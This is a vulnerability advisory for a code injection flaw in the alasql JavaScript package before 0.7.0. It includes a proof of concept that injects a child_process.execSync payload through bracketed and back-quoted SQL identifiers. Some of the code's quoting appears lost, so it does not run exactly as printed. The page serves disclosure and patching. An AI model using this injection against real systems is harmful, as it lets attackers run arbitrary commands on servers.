Arbitrary Code Injection Affecting alasql package, versions <0.7.0
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Test your applications- Snyk ID SNYK-JS-ALASQL-1082932
- published 5 Mar 2021
- disclosed 5 Mar 2021
- credit Unknown
How to fix?
Upgrade alasql to version 0.7.0 or higher.
Overview
alasql is an Use SQL to select and filter javascript data - including relational joins and search in nested objects (JSON). Export to and import from Excel and CSV
Affected versions of this package are vulnerable to Arbitrary Code Injection. AlaSQL doesn't restrict characters in square brackets ([ ]) or back-quote (`) by design. When an SQL query is compiled into JavaScript code, those strings are concatenated into the generated JavaScript without sanitization, causing a code injection vulnerability.
POC
const alasql = require('alasql');
const genPayload = command => new Function( 'return this.process.mainModule.require' )()('child_process').execSync(${JSON.stringify(command)});
res = alasql(
// Initialize the database
'CREATE table i_am_a_table;' +
INSERT INTO i_am_a_table VALUES (1337); +
// Code injection in four different ways
`UPDATE i_am_a_table SET [0'+${genPayload(">&2 echo UPDATE pwned $(whoami)")}+']=42;` +
`SELECT * from i_am_a_table where whatever=['+${genPayload(">&2 echo SELECT pwned $(whoami)")}+'];` +
`SELECT \`'+${genPayload(">&2 echo SELECT pwned again, back-quote works too. $(whoami)")}+'\` from i_am_a_table where 1;` +
`SELECT [whatever||${genPayload('>&2 echo calling function pwned')}||]('whatever');`
);